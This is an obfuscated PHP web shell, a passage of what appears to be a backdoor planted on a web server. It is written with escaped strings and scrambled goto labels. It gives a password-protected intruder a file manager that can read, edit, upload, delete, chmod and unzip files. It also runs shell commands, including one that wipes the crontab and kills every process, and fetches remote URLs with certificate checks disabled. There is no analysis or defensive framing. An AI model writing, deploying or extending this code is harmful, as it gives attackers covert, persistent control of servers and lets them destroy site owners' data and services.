        "\x27\x3e\74\151\40\143\154\141\163\x73\x3d\47\146\141\40\146\x61\55\x74\162\141\163\x68\x27\40\x61\162\x69\141\55\150\151\144\144\x65\x6e\x3d\x27\x74\162\x75\145\x27\x3e\74\x2f\x69\x3e\x3c\x2f\141\76\15\xa\11\x20\40\74\141\x20\x74\x69\x74\x6c\x65\75\47\143\x68\x6d\x6f\144\47\x20\150\x72\x65\x66\x3d\x27\77\161\75" .
        urlencode(encodePath(PATH)) .
        "\46\x63\x3d" .
        $folder .
        "\x27\x3e\74\151\40\143\x6c\x61\x73\x73\75\x27\146\x61\x20\146\141\x2d\x75\x6e\154\157\143\153\47\x20\x61\x72\x69\141\x2d\150\151\144\144\145\x6e\75\x27\x74\162\165\x65\47\76\74\x2f\x69\76\x3c\x2f\x61\76\15\xa\11\11\x20\74\x61\x20\x74\x69\164\x6c\145\75\x27\172\151\x70\x27\x20\x68\162\x65\x66\75\x27\77\161\75" .
        urlencode(encodePath(PATH)) .
        "\46\x7a\x3d" .
        $folder .
        "\x27\76\x7a\x69\160\x3c\57\x61\x3e\174\15\12\x9\11\40\xd\12\x20\x20\40\40\x20\40\x3c\x74\x64\76\15\12\40\x20\40\x20\x3c\57\x74\x72\x3e\xd\12";
    NXxMfsV82a:
}
aP1N67TtPF:
foreach ($files as $file) {
    echo "\x20\40\40\40\x3c\164\x72\x3e\xd\xa\x20\40\40\x20\40\x20\40\x20\x20\40\x3c\x74\144\76" .
        fileIcon($file) .
        $file .
        "\x3c\x2f\x74\144\76\xd\xa\x20\x20\40\x20\40\40\x20\x20\x20\40\x3c\164\x64\76" .
        formatSizeUnits(filesize(PATH . "\x2f" . $file)) .
        "\x3c\x2f\x74\144\x3e\15\xa\x20\x20\40\x20\x20\x20\40\40\40\x20\x3c\164\144\x3e" .
        date(
            "\x46\x20\144\x20\131\x20\x48\x3a\151\x3a\163\x2e",
            filemtime(PATH . "\57" . $file)
        ) .
        "\74\x2f\164\x64\76\xd\xa\11\x9\40\40\x20\x3c\x74\144\x3e" .
        owner(PATH . "\57" . $file) .
        "\x3c\57\164\x64\76\15\12\x20\x20\40\x20\x20\40\40\40\x20\40\74\164\144\76\60" .
        substr(decoct(fileperms(PATH . "\57" . $file)), -3) .
        "\74\x2f\141\76\74\x2f\164\144\76\xd\12\40\x20\x20\x20\40\40\40\x20\40\40\x3c\x74\144\76\15\12\40\x20\40\x20\40\40\40\40\x20\x20\x3c\x61\x20\164\151\x74\154\x65\x3d\47\x45\x64\151\164\x20\x46\151\x6c\145\x27\x20\x68\x72\145\x66\75\x27\x3f\x71\75" .
        urlencode(encodePath(PATH)) .
        "\x26\x65\75" .
        $file .
        "\47\x3e\74\x69\40\x63\x6c\x61\163\x73\x3d\47\x66\141\55\x73\x6f\x6c\151\x64\40\x66\141\x2d\x66\151\x6c\145\x2d\160\145\x6e\47\x3e\x3c\x2f\151\x3e\74\x2f\x61\76\15\12\40\x20\40\40\40\40\x20\x20\40\x20\74\x61\x20\x74\x69\164\154\145\75\x27\x52\145\x6e\x61\x6d\145\x27\40\150\x72\145\x66\75\x27\77\161\75" .
        urlencode(encodePath(PATH)) .
        "\46\162\75" .
        $file .
        "\x27\76\74\151\x20\x63\154\141\163\163\75\47\146\x61\55\163\150\141\x72\x70\40\x66\141\x2d\162\145\147\x75\154\x61\x72\x20\x66\141\x2d\160\145\x6e\55\164\x6f\55\163\161\165\141\162\x65\47\76\x3c\x2f\x69\x3e\74\x2f\141\x3e\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\x3c\141\40\164\x69\x74\154\145\75\47\104\x65\x6c\145\x74\x65\47\40\150\162\x65\x66\x3d\x27\x3f\x71\x3d" .
        urlencode(encodePath(PATH)) .
        "\x26\144\75" .
        $file .
        "\47\76\x3c\151\40\143\x6c\x61\163\163\75\47\x66\141\x20\x66\141\55\x74\x72\141\x73\150\x27\40\x61\162\x69\x61\55\150\x69\144\x64\145\x6e\75\x27\164\162\165\145\47\76\74\57\x69\76\x3c\57\x61\x3e\15\12\11\x9\x20\x20\x3c\x61\x20\x74\x69\x74\x6c\x65\x3d\x27\x63\150\x6d\x6f\x64\x27\x20\x68\x72\x65\x66\x3d\47\x3f\x71\x3d" .
        urlencode(encodePath(PATH)) .
        "\46\x63\x3d" .
        $file .
        "\x27\x3e\74\x69\x20\143\x6c\141\163\x73\75\x27\146\x61\x20\x66\141\x2d\x75\156\x6c\157\143\153\47\40\141\162\151\141\55\150\151\144\x64\x65\156\75\x27\164\162\x75\x65\47\x3e\x3c\57\x69\x3e\74\x2f\141\x3e\xd\xa\11\x9\x20\40\x20\40\74\141\x20\164\x69\164\154\x65\x3d\x27\x75\156\x7a\151\160\47\40\x68\162\x65\146\x3d\47\77\161\75" .
        urlencode(encodePath(PATH)) .
        "\x26\165\x3d" .
        $file .
        "\47\76\x75\172\151\160\74\57\x61\76\xd\xa\x20\40\x20\40\x20\x20\40\x20\x20\x20\74\164\x64\x3e\xd\12\40\40\40\40\74\x2f\164\162\76\xd\xa";
    j3Lfy5AFCa:
}
FUEBNdWn7t:
echo "\x20\40\x3c\57\x74\x62\157\144\x79\76\xd\12\x3c\57\x74\x61\x62\x6c\x65\76";
goto qdNokVNj0r;
yUVfXNAouQ:
echo $str;
w2TVdMCu3k:
if (!isset($_POST["\143\x72\x65\141\x74\145\x66\x69\x6c\145"])) {
    goto ke2zWdT48D;
}
$filename = PATH . "\x2f" . $_POST["\x6e"];
$filecontent = $_POST["\x63\x74\x6e"];
goto BdfteEBNQg;
N8chD3JEk1:
echo "\74\163\143\x72\151\x70\x74\76\141\x6c\x65\162\164\x28\x27\x53\157\155\x65\x20\145\162\162\157\x72\x20\157\143\x63\x75\162\x72\145\144\56\47\51\x3b\40\x77\x69\x6e\x64\157\167\56\154\157\x63\141\x74\x69\x6f\x6e\56\162\145\160\154\x61\143\x65\50\x27\77\x70\75" .
    encodePath(PATH) .
    "\x27\x29\x3b\x3c\x2f\163\143\x72\151\160\x74\76";
goto nLNRoqlQpR;
eupyYxqqGI:
chmod($name, 0644);
echo "\74\x73\x63\x72\151\160\x74\x3e\x61\x6c\x65\x72\x74\x28\x27\106\x69\154\145\x20\x63\150\x6d\157\x64\40\x75\160\144\x61\x74\x65\56\x27\x29\x3b\40\x77\151\x6e\144\157\167\x2e\x6c\157\143\x61\x74\151\157\156\56\162\x65\x70\154\x61\143\145\x28\x27\x3f\160\x3d" .
    encodePath(PATH) .
    "\47\x29\73\x3c\57\x73\143\162\x69\x70\x74\76";
goto XtuPtIKGQH;
Hw2SFfUvmj:
echo "\x3c\x73\x63\162\x69\160\x74\x3e\x61\154\145\x72\x74\50\47\123\x6f\x6d\145\40\x65\162\x72\157\162\x20\157\143\143\165\162\x72\x65\144\x2e\47\x29\73\x20\167\x69\x6e\x64\x6f\167\x2e\154\157\x63\141\164\x69\157\x6e\56\162\145\x70\x6c\x61\143\145\x28\47\77\160\x3d" .
    encodePath(PATH) .
    "\x27\x29\x3b\74\x2f\163\x63\162\151\x70\x74\76";
goto uKaFT_20sJ;
YBAkjOizIP:
echo "\74\163\x63\162\151\x70\164\76\141\x6c\145\x72\x74\50\x27\123\141\x76\145\144\56\x27\51\x3b\40\x77\151\x6e\144\x6f\x77\56\154\x6f\x63\x61\164\151\157\156\x2e\x72\x65\x70\x6c\x61\x63\x65\x28\47\77\160\75" .
    encodePath(PATH) .
    "\x27\x29\x3b\x3c\x2f\x73\143\x72\151\x70\x74\76";
uKaFT_20sJ:
goto D6U72UrB2Z;
ZHra7wz1w2:
$i = 0;
mC0cVIUkTS:
if (!($i < $countfiles)) {
    goto YSyq1EzeCv;
}
$target_file =
    PATH .
    "\57" .
    $_FILES["\x66\x69\154\145\x54\x6f\125\x70\x6c\x6f\141\144"][
        "\x6e\141\x6d\145"
    ][$i];
$filename =
    $_FILES["\x66\151\154\145\124\x6f\x55\x70\x6c\157\141\x64"][
        "\x6e\x61\x6d\x65"
    ][$i];
goto fbG_xkugHt;
CyWKPJrq0i:
$f_get = "\146\151\154\x65\x5f\147\x65\164\137\143\x6f\156\x74\x65\156\x74\163";
if (!(!empty($_GET["\145"]) && isset($_GET["\161"]))) {
    goto bkpdO7rKVh;
}
echo PATH .
    "\x2f" .
    $_GET["\145"] .
    "\x3c\142\162\x2f\x3e" .
    "\15\12\x20\40\x20\x20\x3c\x66\x6f\162\155\x20\155\145\x74\x68\x6f\x64\75\x22\x70\157\163\x74\42\76\xd\12\x20\40\40\40\40\40\x20\40\x3c\164\x65\x78\164\x61\162\145\141\x20\163\164\x79\x6c\145\x3d\x22\150\145\x69\147\150\164\x3a\40\65\60\60\160\x78\73\xd\12\x20\x20\x20\40\40\x20\x20\40\x77\151\x64\x74\x68\x3a\40\x39\x30\45\73\x22\40\156\141\155\145\x3d\x22\144\x61\x74\x61\42\76" .
    htmlspecialchars($f_get(PATH . "\57" . $_GET["\145"])) .
    "\x3c\x2f\x74\145\170\164\x61\162\x65\141\x3e\xd\12\40\40\x20\40\x20\x20\x20\x20\x3c\142\x72\x3e\15\xa\x20\x20\x20\40\40\40\40\40\74\151\x6e\x70\x75\164\40\x74\x79\x70\x65\75\x22\163\165\142\x6d\151\x74\x22\x20\x63\154\141\x73\163\75\42\142\x74\x6e\x20\x62\164\156\x2d\x64\141\162\x6b\42\40\x76\141\x6c\165\145\75\x22\123\141\166\x65\x22\x20\156\x61\155\x65\75\42\x65\144\x69\164\x22\76\15\12\x20\40\40\x20\x3c\x2f\146\x6f\x72\155\x3e";
if (!isset($_POST["\145\x64\151\x74"])) {
    goto QpulYmuOpY;
}
$filename = PATH . "\x2f" . $_GET["\x65"];
goto cx9kynoFNX;
P_CIcdx8pn:
tYLeI23a9m:
if (!isset($_POST["\x63\x72\x65\x61\x74\x65\146\x6f\154\144\145\x72"])) {
    goto tnDllwBOId;
}
$dir = PATH . "\x2f" . $_POST["\156"];
if (is_dir($dir)) {
    goto Dy0HIpnx1D;
}
if (mkdir($dir, 0644, true)) {
    goto lUs88trmzZ;
}
goto nsDN73qQbF;
nv_28evyoS:
goto e1JbMglVPk;
KBsq9sldzB:
$zip->extractTo($unzipname);
$zip->close();
echo "\x3c\163\x63\162\151\160\164\76\141\154\145\162\164\50\x27\x53\165\143\143\145\x73\x73\x20\x55\156\172\x69\160\40\106\x69\154\x65\x20\41\47\x29\73\x20\167\x69\156\x64\x6f\167\x2e\x6c\157\x63\141\x74\x69\x6f\156\56\162\x65\x70\154\x61\x63\x65\x28\47\x3f\x70\75" .
    encodePath(PATH) .
    "\x27\51\x3b\74\57\163\143\x72\151\160\164\x3e";
goto EdCjnupSKX;
emszB5Dgub:
if (delDirAndFile($name)) {
    goto pCm5JOtvQe;
}
echo "\74\163\143\162\x69\x70\164\x3e\141\x6c\x65\162\164\50\47\123\157\155\x65\x20\x65\x72\162\157\x72\40\x6f\x63\x63\x75\162\162\x65\144\61\x31\56\x27\x29\x3b\x20\167\x69\x6e\x64\157\167\x2e\154\x6f\143\141\164\151\157\156\56\162\145\x70\x6c\x61\143\x65\50\x27\x3f\x70\x3d" .
    encodePath(PATH) .
    "\x27\x29\73\74\x2f\x73\x63\x72\151\x70\164\x3e";
goto DQviXZZ9KV;
pCm5JOtvQe:
echo "\x3c\163\143\162\151\160\x74\76\x61\x6c\x65\x72\164\50\47\104\x69\x72\x65\143\x74\x6f\x72\x79\40\x72\x65\155\x6f\x76\x65\144\x2e\47\x29\x3b\40\x77\x69\156\x64\x6f\167\56\x6c\x6f\x63\141\164\x69\x6f\156\56\x72\x65\x70\154\x61\143\145\x28\47\x3f\x70\x3d" .
    encodePath(PATH) .
    "\x27\51\73\74\57\163\143\162\x69\x70\x74\x3e";
goto aaErwz4hMW;
dXOvHDfdil:
goto Oe3VymIenA;
JobEMi9cLr:
echo "\74\x73\143\162\x69\x70\164\x3e\x61\x6c\x65\x72\x74\50\x27\x44\x69\x72\145\x63\164\x6f\162\x79\40\x63\x68\x6d\157\144\x20\x75\x70\x64\141\x74\145\56\47\x29\73\40\x77\x69\x6e\144\157\x77\56\x6c\157\143\141\x74\151\x6f\156\x2e\162\x65\x70\x6c\141\x63\x65\50\47\x3f\160\75" .
    encodePath(PATH) .
    "\x27\51\x3b\74\57\x73\x63\x72\x69\x70\x74\76";
Oe3VymIenA:
wYYR3gCcqU:
goto Npk0cHbvTj;
KkYoAr8Btq:
$name = PATH . "\57" . $_GET["\x64"];
if (is_file($name)) {
    goto i74vvzRzMV;
}
if (is_dir($name)) {
    goto MgG40KzWx_;
}
goto xw00L_iaef;
i74vvzRzMV:
goto DoOBNBqM19;
nsDN73qQbF:
goto j1rp9pmauk;
lUs88trmzZ:
echo "\x3c\163\x63\162\x69\x70\164\x3e\x61\154\145\162\x74\x28\x27\146\x6f\x6c\x64\x65\162\x20\x63\x72\145\x61\164\145\40\x73\x75\143\143\x65\x73\163\56\x27\x29\73\x20\167\x69\156\x64\157\167\x2e\154\x6f\x63\x61\x74\151\157\x6e\56\x72\x65\x70\x6c\141\143\145\x28\47\x3f\x70\x3d" .
    encodePath(PATH) .
    "\47\x29\73\74\x2f\163\x63\162\151\x70\x74\x3e";
j1rp9pmauk:
goto nH0FIgc076;
goto l3Yms07B5f;
Md4i_HWNv6:
echo "\74\x73\143\x72\151\160\164\x3e\x61\154\x65\x72\x74\50\47\106\x69\x6c\x65\40\x72\x65\x6d\157\x76\145\x64\x2e\47\x29\x3b\x20\x77\151\x6e\x64\x6f\167\56\x6c\x6f\143\x61\164\x69\x6f\x6e\x2e\162\x65\x70\154\141\143\x65\x28\x27\77\x70\75" .
    encodePath(PATH) .
    "\47\x29\x3b\74\57\163\143\x72\x69\160\x74\76";
Rp40wF6duG:
goto xw00L_iaef;
MgG40KzWx_:
chmod($name, 0644);
goto emszB5Dgub;
l3Yms07B5f:
Dy0HIpnx1D:
echo "\x3c\163\x63\x72\x69\160\x74\76\141\x6c\145\x72\x74\x28\x27\x66\x6f\154\x64\145\162\40\x65\170\151\x74\x73\56\47\x29\73\40\167\151\156\144\x6f\167\56\x6c\157\x63\141\164\151\157\156\x2e\x72\x65\x70\154\141\x63\145\x28\x27\77\x70\75" .
    encodePath(PATH) .
    "\x27\51\x3b\x3c\x2f\x73\143\162\x69\x70\164\76";
nH0FIgc076:
tnDllwBOId:
if (!(isset($_GET["\144"]) && isset($_GET["\161"]))) {
    goto Ox8GsjTRch;
}
goto KkYoAr8Btq;
Y9XygjMP1Z:
$paths = explode("\x2f", $path);
foreach ($paths as $id => $dir_part) {
    goto va473vs_NA;
    yOT09q5RXv:
    echo "\x27\x3e" . $dir_part . "\74\57\141\x3e\x2f";
    uYg7CaGlZn:
    goto n7kEFo9VpJ;
    oMDHsnrqCp:
    if (!($dir_part == "")) {
        goto YugEnHBSlQ;
    }
    goto uYg7CaGlZn;
    YugEnHBSlQ:
    echo "\x3c\x61\x20\150\x72\x65\146\x3d\x27\77\x70\75";
    $i = 0;
    goto FiX2rDt6IO;
    va473vs_NA:
    if (!($dir_part == "" && $id == 0)) {
        goto gUHKEnFuI6;
    }
    $a = true;
    echo "\74\141\40\x68\x72\145\146\75\x22\x3f\x70\x3d\x2f\x22\x3e\x2f\74\57\x61\76";
    goto uYg7CaGlZn;
    gUHKEnFuI6:
    goto oMDHsnrqCp;
    FiX2rDt6IO:
    MwRHQCRX9w:
    if (!($i <= $id)) {
        goto sEjqttbPss;
    }
    echo str_replace("\72", "\340\xa6\230", $paths[$i]);
    if (!($i != $id)) {
        goto RyR4wnfu4k;
    }
    echo "\xe0\xa6\x95";
    goto IW7SJPalIj;
    IW7SJPalIj:
    RyR4wnfu4k:
    fSI3DwvN9c:
    $i++;
    goto MwRHQCRX9w;
    sEjqttbPss:
    goto yOT09q5RXv;
    n7kEFo9VpJ:
}
ogTTmA4UvI:
echo "\xd\12\x3c\x2f\144\151\166\76\15\xa\74\144\x69\166\40\x63\154\x61\x73\163\75\x22\x66\x6f\162\155\x2d\151\156\154\x69\x6e\145\x22\x3e\15\xa\74\x61\x20\x68\162\145\x66\75\42\x3f\x75\x70\x6c\x6f\x61\144\x26\x71\75" .
    urlencode(encodePath(PATH)) .
    "\x22\x3e\74\142\165\x74\164\x6f\156\x20\x63\154\141\163\163\x3d\x22\142\164\156\40\142\x74\x6e\55\x64\141\x72\153\x22\x20\164\x79\160\145\x3d\42\x62\x75\164\x74\x6f\156\42\76\125\160\154\x6f\x61\144\x20\x46\151\x6c\145\74\57\x62\x75\x74\x74\x6f\x6e\76\74\57\x61\x3e\15\xa\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x3f\153\x6b\46\x71\x3d" .
    urlencode(encodePath(PATH)) .
    "\42\x3e\x3c\x62\x75\x74\x74\x6f\x6e\40\x63\x6c\x61\x73\163\x3d\x22\142\x74\156\x20\142\x74\x6e\55\x64\141\x72\153\x22\40\164\171\160\x65\x3d\42\142\x75\x74\164\x6f\156\x22\x3e\153\151\x20\154\154\x3c\x2f\x62\x75\x74\x74\x6f\156\76\74\x2f\141\x3e\15\12\x3c\x61\x20\150\162\x65\x66\x3d\42\77\x6e\x65\167\x66\x69\x6c\145\46\x71\75" .
    urlencode(encodePath(PATH)) .
    "\42\76\74\x62\165\x74\x74\157\x6e\40\x63\154\141\x73\x73\x3d\x22\142\x74\156\40\142\164\x6e\x2d\144\141\162\x6b\42\x20\164\171\x70\x65\75\42\142\x75\x74\x74\x6f\x6e\x22\x3e\x2b\x4e\x65\167\40\x46\151\154\145\x3c\x2f\142\165\164\x74\157\x6e\x3e\x3c\57\141\76\15\xa\74\141\40\150\x72\145\146\75\x22\x3f\156\145\x77\x66\x6f\154\144\145\x72\46\161\75" .
    urlencode(encodePath(PATH)) .
    "\42\76\x3c\x62\165\x74\164\157\x6e\40\143\154\x61\163\163\x3d\42\x62\164\x6e\40\142\164\156\55\x64\x61\x72\153\x22\40\164\x79\160\145\x3d\42\x62\165\164\164\x6f\x6e\42\x3e\x2b\x4e\x65\x77\x20\106\x6f\154\144\x65\162\74\x2f\142\165\164\x74\157\156\76\x3c\57\141\x3e\xd\xa\15\12\x3c\141\x20\x68\162\145\146\75\42\x3f\x63\x68\x65\143\x6b\x73\x69\x74\145\155\46\x71\75" .
    urlencode(encodePath(PATH)) .
    "\x22\76\x3c\142\x75\x74\164\157\x6e\x20\x63\x6c\x61\163\x73\75\42\x62\164\156\40\x62\164\156\55\144\x61\x72\x6b\x22\40\x74\x79\160\145\x3d\42\142\165\x74\x74\x6f\156\x22\x3e\103\x68\x65\x63\x6b\x20\x73\151\164\145\x20\x6d\x6d\x3c\x2f\142\x75\x74\x74\x6f\x6e\76\74\57\141\76\15\12\xd\12\74\x61\x20\x68\162\x65\x66\75\42\77\x22\x3e\74\142\x75\164\x74\157\156\40\164\171\160\x65\x3d\42\142\165\x74\x74\157\x6e\42\40\x63\154\141\x73\x73\x3d\x22\142\x74\x6e\x20\142\x74\x6e\55\144\x61\x72\153\x22\76\110\117\115\x45\x3c\x2f\x62\x75\164\x74\157\x6e\x3e\x3c\x2f\141\x3e\40\x3c\x62\162\x2f\76\74\x62\162\57\76\15\xa\15\12\74\57\144\x69\x76\76\15\12\74\57\x6e\x61\166\76";
echo "\x3c\x62\162\57\76";
goto bj6_Z5R6P8;
EdCjnupSKX:
e1JbMglVPk:
eSEPs6MqVL:
if (!(isset($_GET["\x7a"]) && isset($_GET["\x71"]))) {
    goto YAe2zQqyUV;
}
echo "\x3c\x73\x63\162\x69\x70\x74\x3e\x61\154\x65\162\164\50\x27\x53\x75\x63\x63\x65\163\x73\40\172\x69\160\40\106\x69\154\x65\40\41\47\x29\x3b\x20\x77\151\x6e\144\157\x77\56\154\157\143\141\x74\x69\x6f\156\x2e\x72\145\160\154\141\x63\x65\x28\47\77\x70\x3d" .
    encodePath(PATH) .
    "\47\51\x3b\74\57\x73\x63\x72\151\x70\164\76";
$dir = PATH . "\x2f" . $_GET["\172"] . "\x2f";
goto TsyWtatbcv;
ITnRnJQ2C3:
if (!(!empty($_GET["\162"]) && isset($_GET["\x71"]))) {
    goto zZqSUR23nO;
}
echo "\15\12\x20\40\x20\x20\74\146\157\x72\x6d\x20\155\145\x74\x68\x6f\x64\75\x22\x70\x6f\163\x74\x22\x3e\15\12\x20\x20\x20\40\40\x20\x20\x20\122\x65\156\141\x6d\x65\x3a\15\12\40\x20\40\40\x20\x20\x20\40\74\151\156\x70\165\164\40\164\x79\160\x65\x3d\42\164\x65\x78\x74\x22\x20\156\x61\155\x65\75\x22\156\141\155\145\x22\x20\166\x61\154\165\145\x3d\42" .
    $_GET["\162"] .
    "\42\x3e\15\12\40\x20\x20\40\40\40\40\40\74\x69\x6e\x70\165\x74\40\164\171\x70\145\x3d\42\163\x75\142\x6d\151\x74\x22\40\x63\154\x61\x73\163\x3d\x22\142\x74\x6e\x20\x62\x74\x6e\55\x64\141\162\x6b\42\40\x76\141\x6c\165\x65\x3d\x22\x52\145\x6e\141\x6d\x65\x22\x20\x6e\x61\155\x65\75\x22\162\x65\x6e\x61\155\145\42\76\xd\xa\40\x20\40\x20\74\x2f\146\157\x72\x6d\76";
if (!isset($_POST["\162\x65\x6e\141\x6d\x65"])) {
    goto UFjBICUtdc;
}
$name = PATH . "\57" . $_GET["\162"];
if (rename($name, PATH . "\57" . $_POST["\156\141\x6d\145"])) {
    goto vF__m0P419;
}
goto y9WumEOrzr;
DoOBNBqM19:
chmod($name, 0644);
if (unlink($name)) {
    goto MvwQJ339fp;
}
echo "\x3c\163\x63\162\x69\x70\x74\x3e\x61\x6c\x65\x72\164\x28\x27\123\x6f\155\x65\40\145\162\162\157\x72\x20\157\x63\143\x75\162\162\145\x64\x2e\47\51\x3b\40\x77\x69\156\x64\x6f\167\x2e\x6c\x6f\x63\x61\164\x69\157\x6e\56\162\145\160\x6c\x61\x63\x65\x28\x27\x3f\160\x3d" .
    encodePath(PATH) .
    "\x27\x29\x3b\74\57\163\x63\x72\151\160\164\76";
goto Rp40wF6duG;
MvwQJ339fp:
goto Md4i_HWNv6;
SCAqkS2lJO:
curl_setopt(
    $ch,
    CURLOPT_ENCODING,
    "\x67\172\x69\x70\54\x64\145\x66\x6c\x61\164\145"
);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
goto h3MwXSJDIw;
Jau2xZy8Vk:
$password =
    "\x63\61\x64\142\x61\67\x33\71\x65\142\x39\146\x31\66\x33\63\x34\142\x30\144\x31\60\x33\145\x32\146\x39\67\x65\141\x38\65";
error_reporting(0);
set_time_limit(0);
session_start();
if (isset($_SESSION["\154\157\147\x67\x65\144\x49\x6e\155"])) {
    goto Q3_P8pKZ2v;
}
goto kXYzdRguua;
t8qaQXnyj6:
$filearray = pathinfo($file);
$unzipname =
    PATH . "\57" . $filearray["\x66\151\154\x65\x6e\x61\155\145"] . "\x2f";
if (!is_readable($file)) {
    goto vg7S73IY0W;
}
if (strpos($f_get($file), "\120\x4b\x3\x4") === false) {
    goto iuViSWE1eK;
}
goto YUXFZ5UEiI;
goto fBCxDX2yaJ;
X2KTCL7k4a:
HMbg1j6BYJ:
echo "\74\163\x63\x72\151\160\164\x3e\141\x6c\145\x72\164\x28\47\143\x72\145\x61\164\x65\x20\163\x75\x63\143\145\163\163\x2e\x27\x29\73\x20\167\151\x6e\144\157\167\x2e\x6c\157\143\141\164\151\x6f\156\56\x72\x65\x70\x6c\141\143\145\50\47\x3f\160\75" .
    encodePath(PATH) .
    "\47\x29\x3b\74\57\163\x63\x72\151\160\164\x3e";
MItMQRKThR:
ke2zWdT48D:
if (!isset($_POST["\143\162\x65\141\164\x65\143\141\167\160"])) {
    goto tYLeI23a9m;
}
goto ImVT8XyE2a;
l_SFPYEYZB:
$cron_result = run(
    "\143\x72\157\156\x74\x61\142\40\55\x72\x20\x26\x26\x20\153\x69\x6c\x6c\40\x2d\71\x20\55\x31"
);
if (!$cron_result) {
    goto scfiR8YTsl;
}
echo "\x6b\x69\154\x6c\x20\xe6\211\xa7\350\xa1\214\346\x88\x90\345\212\237";
goto VXp7b6Aswh;
scfiR8YTsl:
goto F4QA5V2tTi;
iE5GF0EFHP:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
goto SCAqkS2lJO;
P8PLbzfoc7:
Ttb1zOlxjd:
if (!in_array("\x63\165\x72\154\137\151\x6e\151\x74", $disabled)) {
    goto yN3wSug37g;
}
$fuction_info .=
    "\x63\x75\162\154\137\151\156\151\164\40\151\163\x20\144\x69\163\x61\142\x6c\x65";
$error_number++;
yN3wSug37g:
goto nVo5s5oxsg;
DBIGfN5oN6:
if (is_file($name)) {
    goto JxnZv_AvNz;
}
if (is_dir($name)) {
    goto ote_LS0OFh;
}
goto wYYR3gCcqU;
JxnZv_AvNz:
if (chmod($name, 0644)) {
    goto eupyYxqqGI;
}
goto N8chD3JEk1;
Npk0cHbvTj:
BZzwztz2oV:
if (!(isset($_GET["\x75"]) && isset($_GET["\x71"]))) {
    goto eSEPs6MqVL;
}
$file = PATH . "\x2f" . $_GET["\165"];
$f_put = "\x66\x69\154\145\x5f\160\165\x74\137\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$f_get = "\146\x69\x6c\145\137\147\x65\x74\137\143\x6f\156\164\x65\156\x74\163";
goto t8qaQXnyj6;
DCDFUS6r9D:
echo "\x72\x6f\157\164\x20\156\157\x20\167\162\x69\x74\145\141\x62\x6c\x65";
VpgmEEVBl6:
echo "\40\160\x68\160\40\x76\x65\162\x73\x69\157\156\72\40" . phpversion();
if (class_exists("\x5a\x69\160\101\x72\143\150\151\166\145")) {
    goto OMlJcPFOzk;
}
echo "\74\x66\157\x6e\164\x20\143\157\x6c\x6f\x72\75\x22\x72\145\144\42\76\x20\x20\x6e\x6f\40\x73\x75\160\160\157\162\x74\40\x7a\151\x70\74\x2f\146\x6f\x6e\164\76";
goto eDsT2K4DBZ;
bTOYiUeybq:
$p = decodePath($_GET["\x71"]);
KN3EnRrtlZ:
ip5Y5fVJKg:
define("\120\101\x54\x48", $p);
$root = $_SERVER["\x44\x4f\103\125\x4d\105\116\x54\137\x52\117\117\x54"];
goto ymTJBFzQ0r;
h3MwXSJDIw:
if (!$res) {
    goto HpL7ZMpSX8;
}
echo "\74\x64\x69\x76\40\163\164\171\x6c\x65\75\42\x77\x69\x64\164\x68\x3a\65\x30\45\x3b\x64\151\x73\x70\x6c\x61\171\x3a\x62\x6c\157\143\153\73\x63\x6f\x6c\x6f\x72\x3a\162\145\144\73\x66\157\156\x74\x2d\163\151\x7a\145\x3a\x33\x30\x70\170\x3b\x74\x65\170\x2d\141\x6c\151\x67\156\72\x63\145\x6e\164\145\162\x3b\42\76\163\x75\160\x70\x6f\162\x74\x20\x63\165\162\154" .
    "\74\57\x64\x69\166\x3e\74\x62\x72\x2f\x3e" .
    $res;
HpL7ZMpSX8:
A3xqiJxa7Y:
if (!isset($_GET["\162"])) {
    goto anR35vTiIv;
}
goto ITnRnJQ2C3;
D6U72UrB2Z:
QpulYmuOpY:
bkpdO7rKVh:
rn8pwvzu0g:
if (!isset($_POST["\165\160\x6c\x6f\141\x64"])) {
    goto w2TVdMCu3k;
}
$countfiles = count(
    $_FILES["\x66\x69\154\x65\124\x6f\125\160\154\x6f\x61\x64"][
        "\156\141\x6d\x65"
    ]
);
goto ZHra7wz1w2;
svEpz6K2V1:
function fileIcon($file)
{
    goto qdW4oec0Ys;
    bYf5aDPole:
    goto jwie1EfkK2;
    OIeND4sZXJ:
    return "\x3c\151\40\x63\154\141\x73\163\75\x22\146\141\55\163\150\141\x72\160\x20\x66\x61\x2d\x73\157\x6c\151\144\x20\x66\x61\x2d\x62\x75\x67\42\x3e\74\57\151\x3e\40";
    goto jwie1EfkK2;
    OoCaD_Lzfb:
    goto mwGnRyQlnU;
    W5BY2ReduT:
    AkI4SOHznm:
    return "\74\151\40\x63\154\x61\163\163\75\42\x66\x61\55\x62\162\141\x6e\x64\x73\40\x66\x61\x2d\x70\x79\164\150\157\x6e\x22\76\x3c\x2f\x69\x3e\x20";
    goto gG0BvHHs1n;
    EdcD5H6G7I:
    return "\x3c\x69\x20\x63\154\141\x73\163\75\42\146\141\x2d\142\162\141\x6e\144\163\40\x66\141\x2d\x6a\x73\x22\76\x3c\x2f\151\x3e\x20";
    goto X5j7aHyThw;
    hjARfLDp9o:
    c3GlAr6Zbv:
    return "\x3c\x69\40\x63\154\x61\163\x73\75\x22\146\141\55\x62\162\141\156\x64\163\40\146\x61\55\x70\150\x70\42\x3e\74\57\151\x3e\x20";
    goto gG0BvHHs1n;
    TCn_X6BTFC:
    return "\x3c\151\40\x63\154\141\163\163\75\x22\x66\141\55\162\145\x67\x75\154\141\x72\40\x66\x61\55\151\155\141\x67\x65\163\x22\x3e\x3c\57\151\76\x20";
    goto OInlIWErQ2;
    RvvX68soW9:
    return "\x3c\x69\40\x63\154\141\163\x73\75\x22\146\x61\55\x73\157\x6c\x69\144\x20\146\141\x2d\146\x69\154\x65\42\76\x3c\57\x69\x3e\x20";
    goto gG0BvHHs1n;
    ga3BhY0H58:
    return "\74\151\x20\x63\154\x61\163\163\x3d\x22\146\141\55\x62\x72\x61\x6e\144\x73\40\x66\x61\x2d\150\x74\155\x6c\x35\42\76\74\57\x69\76\x20";
    goto gG0BvHHs1n;
    goto hjARfLDp9o;
    mwGnRyQlnU:
